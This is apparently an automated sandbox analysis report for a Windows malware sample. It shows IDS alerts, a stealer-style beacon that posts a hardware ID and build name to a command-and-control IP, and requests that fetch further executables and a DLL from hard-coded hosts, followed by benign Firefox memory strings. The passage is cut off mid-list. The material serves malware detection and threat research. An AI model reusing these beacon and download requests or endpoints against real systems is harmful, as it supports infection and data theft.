Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAKHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"mars------HDHJEBFBFHJECAKFCAAK--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49876 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49905 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49923 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49927 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49930 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49937 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49945 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49954 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49953 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49961 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49949 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49966 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49969 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49988 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49976 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50002 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50011 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50017 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50041 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50080 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50082 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50085 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 11_2_0042BE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

11_2_0042BE30

Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1Host: home.fvtekk5pn.topAccept: /
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache

Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3634301319.0000025DFFC65000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3579144635.0000025DFEA43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updatehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updatehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'The number of recent visits to sample when calculating the ranking of a page. Examining all the visits would be expensive, so we only sample recent visits.UpdateService:selectUpdate - skipping update because the update's application version is not greater than that of the currently downloaded updatehttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POSThttps://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3536912868.0000025D8EC2B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3489163571.0000025D8CA7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.3489163571.0000025D8CA08000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Failed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=default^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)browser.fixup.domainsuffixwhitelist.browser.urlbar.dnsResolveFullyQualifiedNamesdevtools.debugger.remote-websocketget FIXUP_FLAG_ALLOW_KEYWORD_LOOKUP^(?<url>\w+:.+):(?<line>\d+):(?<column>\d+)$Failed to listen. Listener already attached.@mozilla.org/uriloader/handler-service;1^([a-z][a-z0-9.+\t-])(:\|;)?(\/\/)?resource://devtools/server/devtools-server.jsresource://devtools/shared/security/socket.jsUnable to start devtools server on get FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools/client/framework/devtoolsreleaseDistinctSystemPrincipalLoaderJSON Viewer's onSave failed in startPersistenceWebChannel/this._originCheckCallback@mozilla.org/dom/slow-script-debug;1DevToolsStartup.jsm:handleDebuggerFlagdevtools.performance.recording.ui-base-urldevtools.performance.popup.feature-flagFailed to execute WebChannel callback:{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}No callback set for this channel.@mozilla.org/network/protocol;1?name=filebrowser.fixup.dns_first_for_single_words^([a-z+.-]+:\/{0,3})*([^\/@]+@).+devtools/client/framework/devtools-browserGot invalid request to save JSON dataDevTools telemetry entry point failed: _finalizeInternal/this._finalizePromise<resource://gre/modules/DeferredTask.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%s{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedresource://gre/modules/JSONFile.sys.mjshttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/JSONFile.sys.mjsScheme should be either http or httpsresource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/DeferredTask.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/URIFixup.sys.mjsget FIXUP_FLAG_FORCE_ALTERNATE_URIhttps://poczta.interia.pl/mh/?mailto=%shttp://poczta.interia.pl/mh/?mailto=%shttp://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/FileUtils.sys.mjsextractScheme/fixupChangedProtocol<{33d75835-722f-42c0-89cc-44f328e56a86}gecko.handlerService.defaultHandlersVersionhandlerSvc fillHandlerInfo: don't know this typehttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/local-handler-app;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%s@mozilla.org/uriloader/web-handler-app;1Can't invoke URIFixup in the content process@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/file-input-stream;1@mozilla.org/network/simple-stream-listener;1@mozilla.org/intl/converter-input-stream;1newChannel requires a single object argumenthttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/network/async-stream-copier;1Must have a source and a callbackSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStream@mozilla.org/scriptableinputstream;1https://mail.inbox.lv/compose?to=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/networ
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3612854721.0000025DFF8DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_postUpdateProcessing - removing downloading patch because we installed a different patch before it finisheddownloading.UpdateService:_postUpdateProcessing - status is pending-elevate, but this is a silent startup, so the elevation window has been suppressed.getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation.Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/( equals www.youtube.com (Youtube)
Source: firefox.exe, 00000021.00000002.3488488778.0000025D8C905000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 00000021.00000002.3488488778.0000025D8C905000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", 